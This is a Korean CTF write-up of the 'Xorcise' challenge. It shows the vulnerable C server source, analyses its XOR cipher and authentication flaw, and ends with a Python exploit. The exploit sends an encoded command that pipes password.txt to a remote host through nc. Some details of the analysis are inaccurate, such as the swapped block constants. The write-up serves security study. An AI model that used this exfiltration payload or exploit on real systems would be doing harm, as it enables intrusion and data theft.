반응형

문제 파일


xorcise


/* 
    --------------------------
    XORCISE ENTERPRISE EDITION 
    --------------------------
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BLOCK_SIZE 8
#define MAX_BLOCKS 16

#define FILE_ERROR "Unable to open file."
#define AUTH_ERROR "Authentication Required."

// encrypted
struct cipher_data
{
    uint8_t length; // max Length : 255
    uint8_t key[8];
    uint8_t bytes[128];
};
typedef struct cipher_data cipher_data;

struct request
{
    uint32_t opcode;
    uint32_t checksum;
    uint8_t data[100];
};
typedef struct request request;

char password[16];
time_t start_time;

void hexdump(unsigned char *buf, size_t len, FILE *fd)
{
    size_t loop = 0, diff = 0, left=0;
    unsigned char *p = NULL;
    char tmp[24];

    p = buf;
    memset(tmp, 0, sizeof(tmp));

    for (loop = 0; loop < len; ++loop, ++p)
    {
        if (loop && !(loop % 16))
        {
            fprintf(fd, "| %s\n", tmp);
            memset(tmp, 0, 16);
        }

        fprintf(fd, "%02x ", *p);
        tmp[loop % 16] = isprint(*p)?*p:'.';
    }
    diff = loop % 16;

    if (!diff)
    {
        fprintf(fd, "| %s\n", tmp);
        return;
    }
    left = 16 - diff;

    for (loop = 0; loop < left; ++loop)
    {
        fprintf(fd, "   ");
    }
    fprintf(fd, "| %s\n", tmp);
}

uint32_t cluster_f(uint8_t *data, uint32_t length)
{
    uint32_t hash;
    uint32_t iv;
    uint32_t temp;
    uint32_t rounds;
    uint8_t cluster[]={  0x31, 0x24, 0x13, 0x41,
                         0x37, 0x6D, 0x73, 0xFF,
                         0x00, 0xCC, 0x99, 0x01};
    uint8_t cluster2[]={ 0x11, 0x01, 0x22, 0x06,
                         0x33, 0x20, 0x44, 0xD0,
                         0x55, 0x0F, 0x6E, 0x00};

    rounds = length < 16 ? 16: length;
    iv = 0x10F00F01;
    hash = iv;
    while (rounds)
    {
        iv ^= data[rounds % length];
        iv <<= 8;
        iv ^= cluster[rounds % sizeof(cluster)];
        iv <<= 3;
        iv ^= cluster2[rounds%sizeof(cluster2)];
        hash ^= iv;
        temp = hash;
        temp ^= cluster2[(temp<<2) % sizeof(cluster2)];
        hash <<= 1;
        hash += cluster[iv % sizeof(cluster)];
        hash <<= 1;
        hash ^= cluster[(temp & 0xFF00)%sizeof(cluster)];
        temp <<= 1;
        temp ^= cluster[(temp<<2) % sizeof(cluster2)];
        hash += temp;
        --rounds;
    }

    return hash;
}

uint32_t decipher(cipher_data *data, uint8_t *output)
{
    uint8_t buf[MAX_BLOCKS * BLOCK_SIZE];    
    uint32_t loop;
    uint32_t block_index;
    uint8_t xor_mask = 0x8F;

    memcpy(buf, data->bytes, sizeof(buf));
    // Vulnerable..
    // 135 / 8 == 16
    if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
    {
        data->length = BLOCK_SIZE * MAX_BLOCKS;
    }

    for (loop = 0; loop < data->length; loop += 8)
    {
        for (block_index = 0; block_index < 8; ++block_index)
        {
            buf[loop+block_index]^=(xor_mask^data->key[block_index]);
        }
    }
    memcpy(output, buf, sizeof(buf));
}

uint32_t is_authenticated(request *packet, uint8_t *key)
{
    char buf[128];
    uint32_t hash_a;
    uint32_t hash_b;
    uint32_t auth_checksum;
    
    memset(buf, 0, sizeof(buf));
    memcpy(buf, password, 16);
    memcpy(buf+16, key, 8);
    hash_a = cluster_f(buf, 24);
    printf("hash_a [%08x] from: \n", hash_a);
    hexdump(buf, 24, stdout);
    
    memset(buf, 0, sizeof(buf));
    memcpy(buf, password, 16);    
    memcpy(buf+16, packet->data, 100);
    hash_b = cluster_f(buf, 116);
    printf("hash_b [%08x] from: \n", hash_b);
    hexdump(buf, 116, stdout);
    
    memset(buf, 0, sizeof(buf));
    memcpy(buf, (uint8_t *)&hash_a, sizeof(hash_a));
    memcpy(buf+4, (uint8_t *)&hash_b, sizeof(hash_b));
    auth_checksum = cluster_f(buf, 8);
    printf("auth_checksum = %08x\n", auth_checksum);
    printf("packet->checksum = %08x\n", packet->checksum);
    
    if (auth_checksum == packet->checksum)
    {
        return 1;
    }

    return 0;
}

void reap_exited_processes(int sig_number)
{
    pid_t process_id;
    while (1)
    {
        process_id = waitpid(-1, NULL, WNOHANG);
        if ((0==process_id) || (-1==process_id))
        {
            break;
        }
    }
    return;
}

void read_file(int sockfd, uint8_t *name)
{
    FILE *fd;
    size_t bytes_read;
    uint8_t buf[128];

    fd = fopen(name, "r");
    printf("file name is [%s] \n", name);

    if (NULL == fd)
    {
        printf("Error: %s\n", FILE_ERROR);
        send(sockfd, FILE_ERROR, strlen(FILE_ERROR), 0);
        return;
    }

    memset(buf, 0, sizeof(buf));
    while (1)
    {
        bytes_read = fread(buf, 1, sizeof(buf), fd);
        if (0 == bytes_read)
        {
            break;
        }
        send(sockfd, buf, bytes_read, 0);
    }
    fclose(fd);
    return;
}

void uptime(int sockfd)
{
    char buf[32];
    memset(buf, 0, sizeof(buf));    
    sprintf(buf, "%u seconds", (uint32_t )start_time);
    send(sockfd, buf, strlen(buf), 0);
}

void timestamp(int sockfd)
{
    char buf[32];
    time_t current_time;
    current_time = time(NULL);
    memset(buf, 0, sizeof(buf));
    sprintf(buf, "timestamp: %u", (uint32_t )current_time);
    send(sockfd, buf, strlen(buf), 0);
}

int process_connection(int sockfd)
{
    ssize_t bytes_read;
    cipher_data encrypted;
    uint8_t decrypted[128];
    request *packet;
    uint32_t authenticated;

    memset(&encrypted, 0, sizeof(encrypted));
    memset(&decrypted, 0, sizeof(decrypted));

    bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0);
    if (bytes_read <= 0)
    {
        printf("Error: failed to read socket\n");
        return -1;
    }

    if (encrypted.length > bytes_read)
    {
        printf("Error: invalid length in packet\n");
        return -1;
    }
    
    decipher(&encrypted, decrypted);

    // printf("encrypted->length: 0x%02x\n", encrypted.length);
    // printf("encrypted->key: ");
    // hexdump(encrypted.key, sizeof(encrypted.key), stdout);
    // printf("encrypted->bytes:\n");
    // hexdump(encrypted.bytes, sizeof(encrypted.bytes), stdout);
    // printf("deciphered to: \n");
    // hexdump(decrypted, sizeof(decrypted), stdout);

    packet = (request *)&decrypted;
    authenticated = is_authenticated(packet, encrypted.key);

    if (1 == authenticated)
    {
        printf("Packet is authenticated\n");
    }
    else
    {
        printf("Packet is NOT authenticated\n");
    }

    switch (packet->opcode)
    {
     
    /* 
        functions:
            - timestamp
            - uptime
            - read file
            - execute command
    */

        case 0x01:
            printf("Timestamp Request\n");
            timestamp(sockfd);
            break;

        case 0x24:
            printf("Uptime Request\n");
            uptime(sockfd);
            break;            

        case 0x3A:
            if (0 == authenticated)
            {
                send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0);
                return -1;
            }
            printf("Read File Request: %s\n", packet->data);
            read_file(sockfd, packet->data);
            break;

        case 0x5C:
            if (0 == authenticated)
            {
                send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0);
                return -1;
            }
            printf("Execute Command Request: %s\n", packet->data);
            system(packet->data);
            break;

        default:
            printf("Unknown opcode: %08x\n", packet->opcode);
            break;
    }
    return 0;
}

int tcp_server_loop(uint16_t port)
{
    int sd;
    int client_sd; 
    struct sockaddr_in server; 
    struct sockaddr_in client;
    socklen_t address_len;

    pid_t process_id;
    struct sigaction sig_manager;
    
    memset(&server, 0, sizeof(server)); 
    memset(&client, 0, sizeof(client));

    sig_manager.sa_handler = reap_exited_processes;
    sig_manager.sa_flags = SA_RESTART;
    
    if (-1 == sigfillset(&sig_manager.sa_mask))
    {
        printf("Error: sigfillset failed\n");
        return -1;
    }

    if (-1 == sigaction(SIGCHLD, &sig_manager, NULL))
    {
        printf("Error: sigaction failed\n");
        return -1;
    }

    sd = socket(AF_INET, SOCK_STREAM, 0); 
    if (sd < 0)
    {
        printf("Error: failed to acquire socket\n");
        return -1;
    }

    address_len = sizeof(struct sockaddr);
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = INADDR_ANY;

    if (-1 == bind(sd, (struct sockaddr *)&server, address_len))
    {
        printf("Error: failed to bind on 0.0.0.0:%i\n", port);
        return -1;
    }

    if (-1 == listen(sd, SOMAXCONN))
    {
        printf("Error: failed to listen on socket\n");
        return -1;
    }

    printf("Entering main listening loop...\n");
    while (1)
    {
        client_sd = accept(sd, (struct sockaddr *)&client, &address_len);
        if (-1 == client_sd)
        {
            printf("Error: failed accepting connection, continuing\n");
            continue;
        }

        printf("Accepted connection from %s\n", inet_ntoa(client.sin_addr)); 
        
        process_id = fork();
        if (0 == process_id)
        {
            process_connection(client_sd);
            close(client_sd); 
            close(sd);
            exit(0);
        }

        close(client_sd);

    }
}

int main(int argc, char *argv[])
{
    FILE *fd; 
    char *newline;

    printf("           ---------------------------------------\n");
    printf("           --            XORCISE 1.1b           --\n");
    printf("           --   NOW WITH MORE CRYPTOGRAPHY!!!   --\n");
    printf("           ---------------------------------------\n");

    fd = fopen("password.txt", "rb");
    if (NULL == fd)
    {
        printf("Error: failed to open password.txt!\n");
        exit(1);
    }

    start_time = time(NULL);

    memset(password, 0, sizeof(password));
    fgets(password, sizeof(password), fd);
    fclose(fd);

    newline = strchr(password, 0x0a);
    if (NULL != newline)
    {
        *newline = 0x0;
    }

    tcp_server_loop(24001);
    return 0;
}



위의 소스는 Xorcise의 소스코드인데, 분석을 해보자.


먼저 main함수를 보자.

int main(int argc, char *argv[])
{
    FILE *fd; 
    char *newline;

    printf("           ---------------------------------------\n");
    printf("           --            XORCISE 1.1b           --\n");
    printf("           --   NOW WITH MORE CRYPTOGRAPHY!!!   --\n");
    printf("           ---------------------------------------\n");

    fd = fopen("password.txt", "rb");
    if (NULL == fd)
    {
        printf("Error: failed to open password.txt!\n");
        exit(1);
    }

    start_time = time(NULL);

    memset(password, 0, sizeof(password));
    fgets(password, sizeof(password), fd);
    fclose(fd);

    newline = strchr(password, 0x0a);
    if (NULL != newline)
    {
        *newline = 0x0;
    }

    tcp_server_loop(24001);
    return 0;
}


password.txt를 읽어서 password변수(전역) 저장 하는 것을 알 수 있다.


그리고 tcp_server_loop함수를 호출하여 소켓 통신을 하게 되는데 소스코드를 보자.


int tcp_server_loop(uint16_t port)
{
    int sd;
    int client_sd; 
    struct sockaddr_in server; 
    struct sockaddr_in client;
    socklen_t address_len;

    pid_t process_id;
    struct sigaction sig_manager;
    
    memset(&server, 0, sizeof(server)); 
    memset(&client, 0, sizeof(client));

    sig_manager.sa_handler = reap_exited_processes;
    sig_manager.sa_flags = SA_RESTART;
    
    if (-1 == sigfillset(&sig_manager.sa_mask))
    {
        printf("Error: sigfillset failed\n");
        return -1;
    }

    if (-1 == sigaction(SIGCHLD, &sig_manager, NULL))
    {
        printf("Error: sigaction failed\n");
        return -1;
    }

    sd = socket(AF_INET, SOCK_STREAM, 0); 
    if (sd < 0)
    {
        printf("Error: failed to acquire socket\n");
        return -1;
    }

    address_len = sizeof(struct sockaddr);
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = INADDR_ANY;

    if (-1 == bind(sd, (struct sockaddr *)&server, address_len))
    {
        printf("Error: failed to bind on 0.0.0.0:%i\n", port);
        return -1;
    }

    if (-1 == listen(sd, SOMAXCONN))
    {
        printf("Error: failed to listen on socket\n");
        return -1;
    }

    printf("Entering main listening loop...\n");
    while (1)
    {
        client_sd = accept(sd, (struct sockaddr *)&client, &address_len);
        if (-1 == client_sd)
        {
            printf("Error: failed accepting connection, continuing\n");
            continue;
        }

        printf("Accepted connection from %s\n", inet_ntoa(client.sin_addr)); 
        
        process_id = fork();
        if (0 == process_id)
        {
            process_connection(client_sd);
            close(client_sd); 
            close(sd);
            exit(0);
        }

        close(client_sd);

    }
}


딱히 별다를게 없이 소켓을 할당하고 통신을 위해서 fork로 자식프로세스한테 process_connection을 실행시키도록 한다.


그럼 process_connection의 코드를 보자.


int process_connection(int sockfd) { ssize_t bytes_read; cipher_data encrypted; uint8_t decrypted[128]; request *packet; uint32_t authenticated; memset(&encrypted, 0, sizeof(encrypted)); memset(&decrypted, 0, sizeof(decrypted)); bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0); if (bytes_read <= 0) { printf("Error: failed to read socket\n"); return -1; } if (encrypted.length > bytes_read) { printf("Error: invalid length in packet\n"); return -1; } decipher(&encrypted, decrypted); packet = (request *)&decrypted; authenticated = is_authenticated(packet, encrypted.key); if (1 == authenticated) { printf("Packet is authenticated\n"); } else { printf("Packet is NOT authenticated\n"); } switch (packet->opcode) { /* functions: - timestamp - uptime - read file - execute command */ case 0x01: printf("Timestamp Request\n"); timestamp(sockfd); break; case 0x24: printf("Uptime Request\n"); uptime(sockfd); break; case 0x3A: if (0 == authenticated) { send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0); return -1; } printf("Read File Request: %s\n", packet->data); read_file(sockfd, packet->data); break; case 0x5C: if (0 == authenticated) { send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0); return -1; } printf("Execute Command Request: %s\n", packet->data); system(packet->data); break; default: printf("Unknown opcode: %08x\n", packet->opcode); break; } return 0; }


보다 시피 소켓을 통해 cipher_data 구조체를 받아서 decipher함수를 호출한다.


cipher_data 구조체는 아래와 같다.


// encrypted
struct cipher_data
{
    uint8_t length; // max Length : 255
    uint8_t key[8];
    uint8_t bytes[128];
};
typedef struct cipher_data cipher_data;


길이와 키값, 그리고 바이트 값들을 가지고 있다.


이 구조체를 이용해서 decipher함수를 실행하게 되니 한번 소스코드를 보자.


decipher함수는 아래와 같다.


uint32_t decipher(cipher_data *data, uint8_t *output) { uint8_t buf[MAX_BLOCKS * BLOCK_SIZE]; uint32_t loop; uint32_t block_index; uint8_t xor_mask = 0x8F; memcpy(buf, data->bytes, sizeof(buf)); if ((data->length / BLOCK_SIZE) > MAX_BLOCKS) { data->length = BLOCK_SIZE * MAX_BLOCKS; } for (loop = 0; loop < data->length; loop += 8) { for (block_index = 0; block_index < 8; ++block_index) { buf[loop+block_index]^=(xor_mask^data->key[block_index]); } } memcpy(output, buf, sizeof(buf)); }


최대 블록수(MAX_BLOCKS)는 8개 이고, BLOCK_SIZE는 16이다.


각 블록 당 데이터들을 bytes[loop + block_index] ^ 0x8f ^ key[block_index]를 해준다.


그런데 cipher_data는 우리가 직접 전송한 패킷이다.


다른 말로하면 조작할 수 있다는 건데, key 배열을 0x00으로 전부 초기화 시켜버리면


최종적으로 buf[loop + block_index] ^= 0x8f가 된다는 말이다. (간단해졌죠.)


근데 이것 마저 간단하게 바꿀 수 있는데,


저 이중 포문은 사실상 포문 하나와 마찬가지로 볼 수 있기 때문에


이렇게 바꿀 수 있다.


for(int p = 0; p < data->length; p++)
    buf[p] ^= 0x8f;


결국 배열에 대해서 0x8f를 해준다는 것이기 때문에 output에 복사할 데이터를 예상하기 쉬워졌다.


output은 결과적으로 decipher함수를 빠져나와 request 구조체로 형변환이 일어나게되는데,


request 구조체는 아래와 같다.


struct request { uint32_t opcode; uint32_t checksum; uint8_t data[100]; }; typedef struct request request;


이렇게 생겼는데, 먼저 우리는 이 데이터를 예상하기 쉬워졌기 때문에


opcode에 먼저 0x5c값을 넣기위해 


0x8f ^ 0x5c 한 값을 cipher_data->bytes의 맨 처음에 넣어줘야 한다.


또 아까전에 예상하기 쉬워지기 위해서는 key배열이 전부 0으로 초기화 되야한다고 했으니 key 배열에 0을 넣어준다.



현재 패킷 구조


패킷 총 길이

0x0000000000000000

0x0000008f ^ 0x0000005c

... 

 bytes[128]





자 이제 어느정도 까지 했는데, is_authticated 함수를 분석 해보자.


uint32_t is_authenticated(request *packet, uint8_t *key) { char buf[128]; uint32_t hash_a; uint32_t hash_b; uint32_t auth_checksum; memset(buf, 0, sizeof(buf)); memcpy(buf, password, 16); memcpy(buf+16, key, 8); hash_a = cluster_f(buf, 24); memset(buf, 0, sizeof(buf)); memcpy(buf, password, 16); memcpy(buf+16, packet->data, 100); hash_b = cluster_f(buf, 116); memset(buf, 0, sizeof(buf)); memcpy(buf, (uint8_t *)&hash_a, sizeof(hash_a)); memcpy(buf+4, (uint8_t *)&hash_b, sizeof(hash_b)); auth_checksum = cluster_f(buf, 8); printf("auth_checksum = %08x\n", auth_checksum); printf("packet->checksum = %08x\n", packet->checksum); if (auth_checksum == packet->checksum) { return 1; } return 0; }


request구조체를 입력받아 cluster_f함수를 통해 해쉬화를 해주고 있다.


checksum값을 출력해주는데 어차피 packet의 checksum값만 변경해주면 우회가 가능하다.


지금까지 패킷 구조를 보게되면 아래와 같다.


패킷 총 길이

0x0000000000000000

0x8f_xor_opcode

checksum

bytes[100]


이렇게 구성한뒤 패킷을 전송하면 system을 실행시킬 수 있을 것이다.


system함수에서 명령어를 bytes에서 받아오기 때문에 bytes에 명령어를 집어 넣어주면 되겠다.


아 물론 0x8f으로 xor한 뒤에 넣어줘야 한다.


최종 Payload


from socket import *
import struct, telnetlib

b = lambda x : struct.pack("<B", x)
l = lambda x : struct.pack("<L", x)
q = lambda x : struct.pack("<Q", x)

sock = socket(AF_INET, SOCK_STREAM)
sock.connect(('127.0.0.1', 24001))

cipher_data  = ""
cipher_data += b(0x87) # max length
cipher_data += q(0x00) # key is 0x0000000000000000
cipher_data += l(0x8f8f8fd3) # opcode
cipher_data += l(0xE0B6AE43) # checksum
# cat password.txt | nc ip 9505;
cipher_data += "\xec\xee\xfb\xaf\xff\xee\xfc\xfc\xf8\xe0\xfd\xeb\xa1\xfb\xf7\xfb\xaf\xf3\xaf\xe1\xec\xaf\xbf\xaf\xb6\xba\xbf\xba\xb4"
cipher_data += "A" * (0x87 - len(cipher_data))

sock.send(cipher_data + "\n")

t = telnetlib.Telnet()
t.sock = sock
t.interact()


'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
블로그 이미지

KuroNeko_

KuroNeko

,